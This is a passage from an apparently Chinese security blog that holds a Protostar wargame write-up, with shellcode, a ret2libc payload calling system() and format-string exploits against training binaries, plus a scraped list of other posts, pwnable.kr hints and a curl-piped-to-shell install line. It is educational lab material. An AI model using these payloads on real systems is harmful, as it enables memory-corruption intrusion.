#07:  b0 0b                   mov    al,0xb</span></span>
#09:  bb 0c f8 ff bf          mov    ebx,0xbffff80c</span></span>
#0e:  b9 04 f8 ff bf          mov    ecx,0xbffff804</span></span>
#13: 8b 15 08 f8 ff bf       mov    edx,DWORD PTR ds:0xbffff808</span></span>
#19: cd 80                   int    0x80</span></span>
#0xbffff7fc:       0xbffff808 0x06198904</span></span>
#0xbffff80c: /usr   /bin   /cal   0x00000000</span></span>
#0xbffff81c: 0xbffff7d0 <----TARGET!</span></span>
perl</span> -e</span> 'print "\x90" . "\x90"x24 . "\x31\xC0\xA3\x08\xF8\xFF\xBF\xB0\x0B\xBB\x0C\xF8\xFF\xBF\xB9\x04\xF8\xFF\xBF\x8B\x15\x08\xF8\xFF\xBF\xCD\x80" . "\x08\xf8\xff\xbf\x06\x19\x89\x04" . "/usr/bin/cal" . "\x00"x4 . "\xd0\xf7\xff\xbf"'</span> ></span> ~/test.in</span></span></code></pre>
先是把第一个nop换成了0xcc，下了个中断调了下，果然有问题，偏移量计算的不对，所以多加了三个\x00做个补丁。总体还是很容易看的，al里放上0x0b然后填参数，调用int80h，相当于执行execve()。这个函数会把控制权交给ebx指向的字符串所确定的程序，也就是日历了。效果如下：</p>
(</span>gdb</span>)</span> r</span></span>
Starting</span> program: /opt/protostar/bin/stack5</span> <</span> ~/test.in</span></span>
Executing</span> new program: /usr/bin/ncal</span></span>
     April</span> 2015</span></span>
Su</span>     5 12 19 26</span></span>
Mo</span>     6 13 20 27</span></span>
Tu</span>     7 14 21 28</span></span>
We</span>  1  8 15 22 29</span></span>
Th</span>  2  9 16 23 30</span></span>
Fr</span>  3 10 17 24</span></span>
Sa</span>  4 11 18 25</span></span>
</span>
Program</span> exited normally.</span></span></code></pre>
似乎是因为并没有覆盖到目标之外的栈帧，execve还帮助清理了上下文，所以并没有Segment Error。这种攻击方式似乎有时候会很无趣 ，毕竟能覆盖的区域不一定够。此外这个exp只能在gdb下用，因为gdb下的内存分布和一般的内存分布似乎并不一样。这个问题将在下面的这道题中给出一个解法。</p>

4/27/2015更新（这个人正在狂补大物，嗯）</p>
Level 6</h4>
getpath函数，翻译过来大致是这样的：</p>
void</span> getpath</span>(</span>void</span>)</span></span>
{</span></span>
//offset:0x08048484</span></span>
//08048484 55                     push   ebp</span></span>
//08048485 89 e5                  mov    ebp,esp</span></span>
//08048487 83 ec 68               sub    esp,0x68</span></span>
//allocated 0x68 on stack</span></span>
</span>
//0804848a b8 d0 85 04 08         mov    eax,0x80485d0</span></span>
//0804848f 89 04 24               mov    DWORD PTR [esp],eax</span></span>
//08048492 e8 29 ff ff ff         call   0x080483c0 <printf@plt></span></span>
 printf</span>(</span>"input path please: "</span>)</span>;</span> //*0x080485d0=="input path please: "</span></span>
 </span></span>
//08048497 a1 20 97 04 08         mov    eax,ds:0x8049720</span></span>
//0804849c 89 04 24               mov    DWORD PTR [esp],eax</span></span>
//0804849f e8 0c ff ff ff         call   0x080483b0 <fflush@plt></span></span>
 fflush</span>(stdout)</span>;</span>  //0x08049720==stdout</span></span>
 </span></span>
//080484a4 8d 45 b4               lea    eax,[ebp-0x4c]</span></span>
//080484a7 89 04 24               mov    DWORD PTR [esp],eax</span></span>
//080484aa e8 d1 fe ff ff         call   0x08048380 <gets@plt></span></span>
 gets</span>(ebp</span>-</span>0x</span>4c</span>)</span>;</span>  //result stored in ebp-0x4c, aka. esp+0x1c</span></span>
 </span></span>
//080484af 8b 45 04               mov    eax,DWORD PTR [ebp+0x4]</span></span>
//080484b2 89 45 f4               mov    DWORD PTR [ebp-0xc],eax</span></span>
//080484b5 8b 45 f4               mov    eax,DWORD PTR [ebp-0xc]</span></span>
//080484b8 25 00 00 00 bf         and    eax,0xbf000000</span></span>
//080484bd 3d 00 00 00 bf         cmp    eax,0xbf000000</span></span>
//080484c2 75 20                  jne    loc_080484e4</span></span>
// these code checked the stack, and if return ptr is not </span></span>
//  modified, the program will jump to loc_080484e4, </span></span>
//  or will report an error.</span></span>
// only when the execute code is in the stack, the system </span></span>
//  will work </span></span>
</span>
//080484c4 b8 e4 85 04 08         mov    eax,0x80485e4</span></span>
//080484c9 8b 55 f4               mov    edx,DWORD PTR [ebp-0xc]</span></span>
//080484cc 89 54 24 04            mov    DWORD PTR [esp+0x4],edx</span></span>
//080484d0 89 04 24               mov    DWORD PTR [esp],eax</span></span>
//080484d3 e8 e8 fe ff ff         call   0x080483c0 <printf@plt></span></span>
 printf</span>(</span>"bzzzt (</span>%p</span>)</span>\n</span>"</span>,</span> *</span>(ebp</span>+</span>0x</span>4</span>))</span>;</span> //show the ret addr</span></span>
 </span></span>
//080484d8 c7 04 24 01 00 00 00   mov    DWORD PTR [esp],0x1</span></span>
//080484df e8 bc fe ff ff         call   0x080483a0</span></span>
 exit</span>(</span>1</span>)</span>;</span></span>
         </span></span>
//       loc_080484e4:                         </span></span>
//080484e4 b8 f0 85 04 08         mov    eax,0x80485f0</span></span>
//080484e9 8d 55 b4               lea    edx,[ebp-0x4c]</span></span>
//080484ec 89 54 24 04            mov    DWORD PTR [esp+0x4],edx</span></span>
//080484f0 89 04 24               mov    DWORD PTR [esp],eax</span></span>
//080484f3 e8 c8 fe ff ff         call   0x080483c0 <printf@plt></span></span>
 printf</span>(</span>"got path </span>%s\n</span>"</span>,</span> ebp</span>-</span>0x</span>4c</span>)</span>;</span></span>
 </span></span>
//080484f8 c9                     leave  </span></span>
//080484f9 c3                     ret</span></span>
}</span></span>
/*</span></span>
0 </span></span>
| [esp=org_addr] ....</span></span>
|      ....</span></span>
| [esp+0x1c]     char input[0x40]</span></span>
|      ...</span></span>
| [esp+0x5c]  void* v1</span></span>
|      ...</span></span>
| [ebp=esp+0x68] OLD EBP     == 0xbffff818</span></span>
| [esp+0x6c]   RETURN ADDR == 0x08048505</span></span>
V </span></span>
F </span></span>
*/</span>   </span></span></code></pre>
自带保护……棒透了。那么显然没办法任意执行自己的代码了，不过，返回地址仍然是可以覆盖的。先断下来看看有没有什么可以用的东西吧（笑：</p>
(</span>gdb</span>)</span> i</span> func system</span></span>
...</span></span>
File</span> ../sysdeps/posix/system.c:</span></span>
int</span> __libc_system</span>(</span>const</span> char</span> *</span>)</span>;</span></span>
static</span> int do_system</span>(</span>const</span> char</span> *</span>)</span>;</span></span>
(</span>gdb</span>)</span> p</span> system</span></span>
$2</span> = {</span>...</span>}</span> 0xb7ecffb0</span> <</span>__libc_syste</span>m</span>></span></span></code></pre>
果然有东西。system是C里面的一个函数，通常的用法是这样的：</p>
int</span> main</span>(</span>void</span>)</span></span>
{</span></span>
 //...</span></span>
 system</span>(</span>"whoami"</span>)</span>;</span></span>
 //...</span></span>
</span>
 return</span> 0</span>;</span></span>
}</span></span></code></pre>
源程序虽然检查了返回地址，但只是要求返回地址不得位于栈中。我们只要让他去调用system（Question：这个system是位于哪里的？），然后传进去自己的参数就ok了。注意到有一个bzzzt的提示，可以提醒数据已经到了边界，所以确定下地址：</p>
user@protostar:/opt/protostar/bin$</span> perl</span> -e</span> 'print "\xbf\x67\x68\x69"x20 . "\xbf\xbf\xbf\xbf"'</span> |</span> ./stack6</span></span>
input</span> path please: bzzzt</span> (0xbfbfbfbf)</span></span></code></pre>
少一组就不好用，多一组就segmentation error。Bingo！可供我们填充的字节为0x50个，之后的四个字节就是返回地址了。那么exp布局如下：</p>
#</usr/bin/whoami>.<fillings(and here is end)>.<0xb7ecffb0>.<0xb7ec60c0>.<0xbffff7fc>.<0x04198906></span></span>
user@protostar:/opt/protostar/bin$</span> perl</span> -e</span> 'print "/usr/bin/whoami;#" . "F"x63 . "\xb0\xff\xec\xb7" . "\xc0\x60\xec\xb7" . "\xfc\xf7\xff\xbf" . "\x06\x89\x19\x04"'</span> |</span> ./stack6</span></span></code></pre>
解释下。根据这里</a>的说明，被调用函数所看到的栈中的情况是：</p>
 |FFFFFFFF|------------------>|00000000|</span></span>
 |ret addr| param 1 | param 2 |........|</span></span></code></pre>
调用system()</code>的时候，需要下一条指令执行exit()</code>，并且带有一个字符串指针作为参数；调用exit()</code>之后，下一条指令是什么对我们并没有什么卵用（因为退出了），只要保证给一个退出的值就可以了。检查转储文件后可以发现，我们的输入数据是从0xbffff7fc</code>处开始存放的，因此就有了这个exp。</p>
之后回头看了下protostar上的文档，发现这个检查实际是利用的 __builtin_return_address</a> 这个函数检查栈帧。留下备用~</p>
Level 7</h4>
目前并没做出来。</p>

4/29/2015更新
参考了其他人的做法，是找到不会被限制的一个ret。之前都是通过覆写栈来覆盖返回地址的方法，ret后执行目标代码，换句话说是控制PC的值。那么让第一次ret出的地址指向另一个ret，而跳转目标的地址恰好在执行第一个ret前的[esp+0x08]处，就可以绕过对[esp+0x04]的检查。</p>
但是……有没有其他有趣的方法呢？</p>
走到死路口之前先不写这种方法的poc了。</p>

4/30/2015更新
double ret</p>
Format[0..4]</h3>
这组练习均是有关于格式化字符串漏洞</a>的。如果你刚开始学习C语言，还应该参考下维基百科上关于格式化字符串</a>的有关文章。</p>
总体上看，这类漏洞的根源在于POSIX标准中的变参函数。我们都知道，stdcall调用方式是通过将参数压入栈中完成参数传递的，而被调用的函数应该从栈中取出各参数。而POSIX标准为了支持变参函数，提供了va_start、va_end、va_arg和va_list用来支持其工作。然而，在标准中，对函数参数个数的传递并没有要求，因此被调用函数需要自行决定</strong>取出多少参数。</p>
这种情况下，printf等处理格式化字符串的方法是，对格式化字符串中的字符分别处理，遇到特定的转义字符（如%d、%c等等）后再调用va_arg从栈中取出函数。这种方式的问题在于，当格式化字符串可以被控制时，内存里的内容也就可以被随意读取了。此外，由于printf函数提供了%n用来向某个参数内写入数值，这造成了对内存的任意写。</p>
Format 0</h4>
程序逻辑是，将输入的字符串解析之后，输出结果送至到另一个字符串中，之后检测某个特定位置的值是否为deadbeef。因此，我们只要做好padding即可：</p>
./format0</span> `</span>python</span> -c</span> 'print "%64d\xef\xbe\xad\xde"'`</span></span></code></pre>Format 1</h4>
程序读入启动参数并展示，而要求我们修改内存中指定地址处的值。修改值需要用到%n，它接受的参数是一个指向可写内存区域的地址。因此可以这样先找出我们的地址：</p>
for</span> i</span> in</span> {</span>1..300}</span>;</span> do</span> ./format1</span> `</span>echo</span> -ne</span> "\x38\x96\x04\x08%</span>$i</span>\\</span>$x</span>"`</span>;</span> echo</span>;</span> done</span> |</span> nl</span> |</span> grep</span> 9638</span></span>
   127</span>  88049638</span></span></code></pre>
构造：</p>
user@protostar:/opt/protostar/bin$</span> ./format1 `</span>echo</span> -ne</span> '\x38\x96\x04\x08%127$n'`</span> </span></span>
8you</span> have modified the target :</span>)</span></span></code></pre>
不同机器上，运行结果可能也有不同，这与装载器有关。</p>
Format 2</h4>
这次我们要控制改写的值为0x40=64。%n的作用是将已经显示的字符数写入对应地址处，那么我们要写入64的话，应该加的padding为64-4byte地址=60，则：</p>
user@protostar:/opt/protostar/bin$</span> echo</span> -ne</span> "\xe4\x96\x04\x08%060x%4</span>\$</span>n\n"</span> |</span> ./format2</span>    </span></span>
鋿000000000000000000000000000000000000000000000000000000000200</span></span>
you</span> have modified the target :</span>)</span></span></code></pre>Format 3</h4>
为了写入0x1025544，我们仍然可以用Format2的方法：</p>
echo</span> -ne</span> "\xf4\x96\x04\x08%16930112c%12</span>\$</span>n"</span> |</span> ./format3</span></span></code></pre>
但是，要输出这么多的字符，等待时间太长了。因此，我们每次写入2字节，那么：</p>
echo</span> -ne</span> "\xf6\x96\x04\x08\xf4\x96\x04\x08%21820c%13</span>\$</span>hn%43966c%12</span>\$</span>hn"</span>  |</span> ./format3</span></span>
</span>
echo</span> -ne</span> "\xf6\x96\x04\x08\xf4\x96\x04\x08%250c%12</span>\$</span>hn%21570c%13</span>\$</span>hn"</span>  |</span> ./format3</span></span></code></pre>
这里我们使用%hn，控制每次写入2字节。几个参数的计算方法如下：</p>
0x1025544 = 0x0102 << 16 + 0x5544</span></span>
0x0102 = 258; 258 - 8 = 250</span></span>
0x5544 - 0x0102 = 21570</span></span>
</span>
Y = 0x218-0x208 = 0x10</span></span>
X = +0x18 + 0x4 = 0x1C</span></span>
(X+Y)/4+1 = 12 //indicates the first one to extract</span></span></code></pre>Format 4</h4>
为了让程序在printf后，不执行_exit，而去执行hello函数，我们需要改写plt表。关于plt表的相关内容可以参考《程序员的自我修养》一书，这里给出exp：</p>
echo</span> -ne</span> "\x25\x97\x04\x08\x24\x97\x04\x08%033964c%5</span>\$</span>n%0491472c%4</span>\$</span>n\n"</span> |</span> ./format4</span></span></code></pre>
但其实，我们只需要修改一个字节就可以达到相同目的：</p>
echo</span> -ne</span> "\x24\x97\x04\x08%33968u%4</span>\$</span>hn"</span> |</span> ./format4</span></span>
....</span></span>
code</span> execution redirected! you win</span></span></code></pre>
注意，这里为了防止地址被破坏，还是需要写入两个字节。</p>}

Silver

关于AI和安全的一个想法

Samba MSDFS在mDNS自动发现环境下的踩坑记录

libvirt的Hyper-V虚拟化或导致Windows KDNET初始化失败

一次曲折的设备修复过程

故障解决</h1> 进一步调查发现，系统宕机原因为内核兼容性问题，合入补丁后宕机现象消失，故障修复。</p> 由于此机器Console口已不工作，限制对此机器相关的业务变更，后续择机更换受损元器件。</p>

TPROXY's different behavior in different kernel

网吧网管如何在 DEF COOON CTF 中存活

Baba O'Riley</h2> 实际去年在去DEF CON之前，感觉或许DC27是我为数不多的几次DEF CON了，因为周围的环境已经和之前不一样了。然而万万没想到，环境不仅变了，变的还很剧烈。以至于干爽的夏夜晚风，变得燥热和阴湿。</p>

Environment Settings

Terminals</h2> Install fish</code> and some plugins. If you want to know more plugins, read this</a> Install oh-my-fish</code>: curl -L https://get.oh-my.fish | fish</code></li> Install fisher</code>: curl https://git.io/fisher --create-dirs -sLo ~/.config/fish/functions/fisher.fish</code></li>

Editors</h2> Install vim</code> and other things. Ensure vim</code> is higher than 7.0</code> but all those configs only tested under 8.0. Get the vimrc</code> file from the configuration repo.</li>

Environments</h2> Install Rust and add to path: set -U fish_user_paths $HOME/.cargo/bin $fish_user_paths</code></li> </ul>

2019 新年感言

2018 Summary

一道“简单”的二进制题目

题目</h2> 请指出下列代码是否存在问题。如有，请指明错误，并预测程序运行输出，并说明原因。</p>

答案</h2> 这道题的来源是最近同事调试exp中遇到的小问题，主要涉及到了：</p>

分析</h2> 一般来说比较容易从源代码发现的问题是：</p>

2018 新年感言

王小波：从Internet说起

Thread Pointer/ID Register in AArch64

Problem</h2> Sometimes when disassembling some AArch64 programs, we can find some interestring pseudocode:</p>

Flare-on Challenge 2017 部分题解

ROT13</h2> JS里将字符串ROT13之后做的比较。直接用bash就可以了：</p>

Igniteme</h2> 程序启动后输入字符串XOR然后做对比。那么就用python解开：</p>

Those Magic Optimizations

菜鸡路由器拼装之路（3）：基于某网络现状的IPv6方案

菜鸡路由器拼装之路（2）：PPPoE+科学上网及Dashboard

PPPoE上网</h2> 上一篇文章中，我们决定将VLAN做如下规划：</p>

菜鸡路由器拼装之路（1）：基础IPv4网关构建

有线LAN接口准备</h3> 根据BPI-R1的设计，我们决定将VLAN做如下规划：</p>

VMWare ESXi 6.5 部分常见Bug和Workround合集

ESXi在部分旧机器上无法启动</h2> //解决方法忘掉了……</p>

参考文档</h2> vCenter Server 6.5.0b Release Notes</a></li> vCenter – VdbODBCError – unique constraint pk_vpx_vm_virtual_device – fix</a></li> </ol>

Pwnable.kr Level 1 Writeup

collision</h2> Just use perl</p>

bof</h2> Notice, the padding should be 52, not 32. And your terminal emulator might do bad things....</p>

flag</h2> RCE. So easy. Unpack manually and break at memcpy.</p>

passcode</h2> How to override fflush()?</p>

random</h2> Try to learn something about rand() and srand()...</p>

input</h2> Complex. But just try... Kind of boring.</p>

leg</h2> You need to see how the ARM fetch instructions. Interestring!</p>

mistake</h2> Time to print an priority table of C, and paste on your laptop.</p>

shellshock</h2> Just normal things. Nothing to mention about it.</p>

coin1</h2> good practice for the algo</p>

blackjack</h2> Another example of wrong type</p>

lotto</h2> try-and-fail. boring</p>

cmd1 and cmd2</h2> Many solutions are using PATH. But I love vim.</p>

uaf</h2> Block size is 0x18 bytes, so we need to free and get two 18 bytes block via the second option, which means the previous two blocks can be written. We can write a fake vTable address and modify the function pointer.</p>

memcpy</h2> If you got a SIGSEV, it might be caused by unaligned memory. Try to solve it. Notice that the management structure also took some space.</p>

asm</h2> Simple. Learn to use pwntools.</p>

unlink</h2> Looks like ptmalloc unlink. But site admin's solution is interestring.</p>

C++虚函数逆向(2)

C++虚函数逆向(1)

EOF@2016: My Browser A-Z

NtCreateThreadEx under x64

又一条碎碎念

旧文重发：小窥TeslaCrypt密钥设计

2016年（第二届）陕西省网络空间安全技术大赛(NSSTC) Reverse 2 Mindmap

Notes About Heap Overflow Under Linux

小结</h3> 至此，我用了约20kb的文字，简要的描述了：</p>

技术文章翻译：PHP标准库中某双链表结构存在双重释放问题（CVE-2016-3132）

ISCC(ISCLab) Pwn3

最近做的几个Pwn总结

对某Android木马样本的简要分析

`故障解决</h1> 进一步调查发现，系统宕机原因为内核兼容性问题，合入补丁后宕机现象消失，故障修复。</p> 由于此机器Console口已不工作，限制对此机器相关的业务变更，后续择机更换受损元器件。</p>`

Environments</h2>

Install Rust and add to path: `set -U fish_user_paths $HOME/.cargo/bin $fish_user_paths</code></li> </ul>`

ESXi在部分旧机器上无法启动</h2>
//解决方法忘掉了……</p>

参考文档</h2>

vCenter Server 6.5.0b Release Notes</a></li>
vCenter – VdbODBCError – unique constraint pk_vpx_vm_virtual_device – fix</a></li> </ol>

collision</h2>
Just use perl</p>

bof</h2>
Notice, the padding should be 52, not 32. And your terminal emulator might do bad things....</p>

flag</h2>
RCE. So easy. Unpack manually and break at memcpy.</p>

passcode</h2>
How to override fflush()?</p>

random</h2>
Try to learn something about rand() and srand()...</p>

input</h2>
Complex. But just try... Kind of boring.</p>

leg</h2>
You need to see how the ARM fetch instructions. Interestring!</p>

mistake</h2>
Time to print an priority table of C, and paste on your laptop.</p>

shellshock</h2>
Just normal things. Nothing to mention about it.</p>

coin1</h2>
good practice for the algo</p>

blackjack</h2>
Another example of wrong type</p>

lotto</h2>
try-and-fail. boring</p>

cmd1 and cmd2</h2>
Many solutions are using PATH. But I love vim.</p>

uaf</h2>
Block size is 0x18 bytes, so we need to free and get two 18 bytes block via the second option, which means the previous two blocks can be written. We can write a fake vTable address and modify the function pointer.</p>

memcpy</h2>
If you got a SIGSEV, it might be caused by unaligned memory. Try to solve it. Notice that the management structure also took some space.</p>

asm</h2>
Simple. Learn to use pwntools.</p>

unlink</h2>
Looks like ptmalloc unlink. But site admin's solution is interestring.</p>